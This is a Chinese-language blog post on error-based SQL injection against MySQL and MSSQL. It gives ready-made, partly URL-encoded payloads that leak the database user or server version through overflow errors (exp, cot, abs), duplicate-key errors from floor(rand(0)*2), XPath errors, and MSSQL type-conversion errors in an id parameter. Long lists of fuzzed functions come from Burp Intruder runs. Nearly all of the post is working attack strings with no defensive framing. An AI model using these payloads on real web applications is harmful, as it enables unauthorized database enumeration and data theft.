sql注入报错分享（mssql+mysql）

mysql

mysql的报错内容比较多网上也有比较多的这里重复的就不多介绍了。一笔带过

溢出类

bigint

当超过mysql的整形的时候，就会导致溢出，mysql可能会将错误信息带出。这里user()是字母默认为0 取反以后+1可能就会导致异常。

报错特征
BIGINT UNSIGNED value is out of range in

不需要函数，直接让他报错出来

select%20(~(select%20*%20from(select%20user())x)%2b1,1)

也可以利用函数的参数让其报错
abs

select abs(~(select * from (select user())a))+1

Exp

select exp(~(select * from (select user())a))+1

Avg

select AVG(~(select * from(select user())x)+1)

BIT_AND

后续还有很多就不一一列举了，直接burp跑一波结果

ABS
ACOS
AREA
AsBinary
ASCII
ASIN
AsText
AsWKB
AsWKT
ATAN
ATAN2
AVG
BIN
BIT_AND
BIT_COUNT
BIT_LENGTH
BIT_OR
BIT_XOR
CEIL
CEILING
CENTROID
CHARACTER_LENGTH
CHAR_LENGTH
COALESCE
COMPRESS
CONCAT
COS
COT
COUNT
CRC32
DAY
DAYNAME
DAYOFMONTH
DAYOFWEEK
DAYOFYEAR
DEGREES
DES_DECRYPT
DES_ENCRYPT
DIMENSION
ENCRYPT
ENDPOINT
ENVELOPE
EXP
ExteriorRing
FLOOR
FROM_DAYS
FROM_UNIXTIME
GeomCollFromText
GeomCollFromWKB
GeometryCollectionFromText
GeometryCollectionFromWKB
GeometryFromText
GeometryFromWKB
GeomFromText
GeomFromWKB
GeometryType
GLENGTH
GROUP_CONCAT
HEX
HOUR
INET_ATON
INET_NTOA
IsClosed
IsEmpty
IS_FREE_LOCK
ISNULL
IsSimple
IS_USED_LOCK
LAST_DAY
LAST_INSERT_ID
LCASE
LENGTH
LineFromText
LineFromWKB
LineStringFromText
LineStringFromWKB
LN
LOAD_FILE
LOG
LOG10
LOG2
LOWER
LTRIM
MAX
MD5
MICROSECOND
MIN
MINUTE
MLineFromText
MLineFromWKB
MONTH
MONTHNAME
MPointFromText
MPointFromWKB
MPolyFromText
MPolyFromWKB
MultiLineStringFromText
MultiLineStringFromWKB
MultiPointFromText
MultiPointFromWKB
MultiPolygonFromText
MultiPolygonFromWKB
NumGeometries
NumInteriorRings
NumPoints
OCT
OCTET_LENGTH
OLD_PASSWORD
ORD
PASSWORD
PointFromText
PointFromWKB
PolyFromText
PolyFromWKB
PolygonFromText
PolygonFromWKB
QUARTER
QUOTE
RADIANS
RAND
RELEASE_LOCK
REVERSE
ROUND
RTRIM
SECOND
SEC_TO_TIME
SHA
SHA1
SIGN
SIN
SLEEP
SOUNDEX
SPACE
SQRT
SRID
STARTPOINT
STD
STDDEV
STDDEV_POP
STDDEV_SAMP
SUM
TAN
TIME_TO_SEC
TO_DAYS
TO_SECONDS
TRIM
UCASE
UNHEX
UNCOMPRESS
UNCOMPRESSED_LENGTH
UNIX_TIMESTAMP
UPPER
VAR_POP
VAR_SAMP
VARIANCE
WEEK
WEEKDAY
WEEKOFYEAR
X
Y
YEAR
YEARWEEK
select%20§AVG§(~(select%20*%20from(select%20user())x)%2b1,1)
ADDDATE
ADDTIME
AES_DECRYPT
AES_ENCRYPT
ATAN
ATAN2
BENCHMARK
COALESCE
CONCAT
CONCAT_WS
CONTAINS
CROSSES
DATEDIFF
DATE_FORMAT
DECODE
DES_DECRYPT
DES_ENCRYPT
DISJOINT
ELT
ENCODE
ENCRYPT
EQUALS
EXTRACTVALUE
FIELD
FIND_IN_SET
FORMAT
FROM_UNIXTIME
GeomCollFromText
GeomCollFromWKB
GeometryCollectionFromText
GeometryCollectionFromWKB
GeometryFromText
GeometryFromWKB
GeomFromText
GeomFromWKB
GeometryN
GET_LOCK
GREATEST
GROUP_CONCAT
IFNULL
INTERVAL
INSTR
InteriorRingN
INTERSECTS
LEAST
LEFT
LineFromText
LineFromWKB
LineStringFromText
LineStringFromWKB
LOCATE
LOG
MAKE_SET
MAKEDATE
MASTER_POS_WAIT
MBRContains
MBRDisjoint
MBREqual
MBRIntersects
MBROverlaps
MBRTouches
MBRWithin
MID
MLineFromText
MLineFromWKB
MOD
MPointFromText
MPointFromWKB
MPolyFromText
MPolyFromWKB
MultiLineStringFromText
MultiLineStringFromWKB
MultiPointFromText
MultiPointFromWKB
MultiPolygonFromText
MultiPolygonFromWKB
NULLIF
OVERLAPS
PERIOD_ADD
PERIOD_DIFF
POINT
PointFromText
PointFromWKB
PointN
PolyFromText
PolyFromWKB
PolygonFromText
PolygonFromWKB
POW
POWER
RIGHT
ROUND
SHA2
STR_TO_DATE
STRCMP
SUBDATE
SUBSTR
SUBSTRING
SUBTIME
TIMEDIFF
TIME_FORMAT
TOUCHES
TRUNCATE
WEEK
WITHIN
YEARWEEK

其他请自行fuzz

DOUBLE value is out of range

Exp

select+exp(~(select*from(select+user())x))

cot

SELECT%20COT((select%20*%20from(select%20*%20from(select%20user())a)b));

主键重复类

原理可以参考
https://www.cnblogs.com/kjcy8/p/16413428.html

**rand（0）*2**

由于mysql的主键不允许重复，会抛出Duplicate entry的异常，所以可以通过有规律的插入主键来导致报错。这里通过随机数来获取组件范围，只要我们让返回的数据能满足规律，就会导致报错，这里我通过fuzz 发现了以下的函数可以满足

select count(*),floor(rand(0)*2) x from mysql.user group by CONCAT(x,user());

ASCII
BIN
CEIL
CEILING
FLOOR
OCT
ORD
SECOND
TIME_TO_SEC
select count(*),floor(rand(0)*2,1) x from mysql.user group by CONCAT(x,user());

FORMAT
INSTR
INTERVAL
LEAST
LEFT
LOG
RIGHT
ROUND
STR_TO_DATE
STRCMP
select count(*),floor(rand(0)*2,1,1) x from mysql.user group by CONCAT(x,user());

FORMAT
INTERVAL
LEAST
LPAD
MID
RPAD
SUBSTR
SUBSTRING
SUBSTRING_INDEX

其余的请自行fuzz

xpath语法错误

网上有总结就列举

extractvalue
updatexml

几何图形

有总结直接列举

ST_LatFromGeoHash
ST_LongFromGeoHash
ST_PointFromGeoHash
gtid_subtract
geometrycollection
multipoint
multipolygon
linestring
multilinestring
polygon

mssqlserver

sqlserver的报错主要是集中在类型转换上，可以有以下思路
（1）调用转化函数 cast convert
（2）参数化查询报错
（3）给定转换1=@@version
这里主要是看第二种，给几个结果

id=%27%20and%201=RTRIM(@@version)%20and%20%271%27=%271

id=%27%20and%201=RAND(@@version)%20and%20%271%27=%271

fuzz结果如下统计如下

id=%27%20and%201=RAND(@@version)%20and%20%271%27=%271
CHAR
LTRIM
RTRIM
SPACE
RAND
id=%27%20and%201=REPLACE(@@version,1,1)%20and%20%271%27=%271

REPLACE
id=%27%20and%201=RIGHT(1,@@version)%20and%20%271%27=%271
LEFT
RIGHT

@@version+1
当我们需要搜索的是字符串我们可以通过+1让他直接报错，基本可以捶很多的函数了，这里只列举一些

id=%27%20and%201=COT(@@version%2b1)%20and%20%271%27=%271

ABS
ACOS
ASCII
ASIN
ATAN
CEILING
CHAR
COS
COT
DEGREES
EXP
FLOOR
LOG
LOG10
LTRIM
RADIANS
RAND
RTRIM
SIGN
SIN
SOUNDEX
SPACE
SQRT
TAN
id=%27%20and%201=ROUND(@@version%2b1,1)%20and%20%271%27=%271